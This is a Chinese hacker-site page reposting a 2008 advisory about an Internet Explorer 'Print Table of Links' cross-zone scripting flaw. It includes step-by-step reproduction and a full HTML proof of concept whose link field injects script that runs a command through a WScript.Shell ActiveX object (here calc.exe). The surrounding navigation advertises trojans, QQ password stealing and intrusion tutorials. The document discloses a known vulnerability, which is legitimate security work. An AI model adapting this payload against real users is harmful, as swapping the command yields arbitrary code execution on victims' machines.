Aviv Raff的IE0day，公布了 - 中华隐士黑客联盟,全国最大的免费黑客技术培训基地! 免费一切,共享一切!

设为首页

加入收藏

联系我们繁體中文

黑客软件：	漏洞扫描 \| 木马间谍 \| 加密解密 \| 远程控制 \| 破坏攻击 \| 杀毒软件 \| 防火墙类 \| OICQ专区 \| 黑客必备 \| 常用工具 \| 网吧攻击
文章中心：	最新资讯 \| 黑客技术 \| 电脑基础 \| 菜鸟文摘 \| 网络安全 \| 网络技巧 \| QQ技巧 \| OQ空间代码 \| 免费资源 \| 编程世界 \| 建站技术
素材源码：	论坛相关 \| ASP源码 \| CGI 源码 \| NET 源码 \| PHP 源码 \| 酷站素材 \| 字体素材 \| 图片素材 \| 友情发布 \| 网页模版 \| 建站软件
教程动画：	黑客教程 \| 黑客编程 \| 网站入侵 \| 菜鸟教程 \| 入侵教程 \| 破解教程 \| 电子书籍 \| 网页制作 \| 高级会员 \| 综合教程 \| 本站原创

您当前的位置：中华隐士黑客联盟 -> 最新资讯 -> 漏洞公告 -> 文章内容

[站内搜索]

Aviv Raff的IE0day，公布了作者：不详来源：网络发布时间：2008-5-17 9:10:39 发布人：www.hack86.com

MS Internet Explorer "Print Table of Links" Cross-Zone Scripting Vulnerability
具体细节:http://aviv.raffon.net/2008/05/14/InternetExplorerQuotPrintTableOfLinksquotCrossZoneScriptingVulnerability.aspx

如果启用了 "Print Table of Links"，在打印一个网页的时候，能够导致执行任意代码，当然VISTA上UAC可以拦截它 :)

重现：
1.下面这个地方打上勾

javascript:DrawImage(this);>

2.把下面代码保存成HTML，用IE打开，打印之，calc.exe会弹出。（也可以直接访问http://raffon.net/research/ms/ie/print/linksrce.html）

<html>
<body>
Print me with table of links to execute calc.exe
<a href="http://www.bla.com?x=b<script defer >var x=new ActiveXObject('WScript.Shell');x.Run('calc.exe');</script>a.c<u>o</u>m"></a>
<script>window.print();</script>
</body>
</html>

from：http://hi.baidu.com/secway/blog/

[1] [2] 下一页

[] [返回上一页] [打印] [收藏]

[相关文章评论]　　　（评论内容只代表网友观点，与本站立场无关！） [更多评论...]

简单五步骤预防AV终..

免费获得Q币的最新方法
最新免费在线看的电影网站集绵
不用木马，轻松万能偷daoQQ号码
最新QQ空间4.0全屏版效果图!!
新免蟆Q秀，刷红钻的方法
黑客快速入门(强烈推荐)
QQ密码本地破解的原理和方法
18岁少女欲6000元卖处女身救患血..
免费QQ蓝钻体验（附考试答案）
8款QQ空间免费开场动画

C++ win32 downloader	05-20
Dedecms getip()的漏洞利用	05-20
一个弹窗口的流氓软件	05-20
信息安全类专业大揭秘	05-20
手机黑客严重威胁百姓生活	05-20
西班牙警方逮捕5名黑客涉嫌攻击..	05-20
互联网黑色产业链日渐成型奥运黑..	05-20
巧用软路由让多网段互访易如反掌..	05-20
Sniffpass 轻松监听局域网内密码..	05-20
一句话让OBLOG将用户密码乖乖送上..	05-20

站长：小质 QQ:771760,软件发布MAIL:Hack086@21cn.com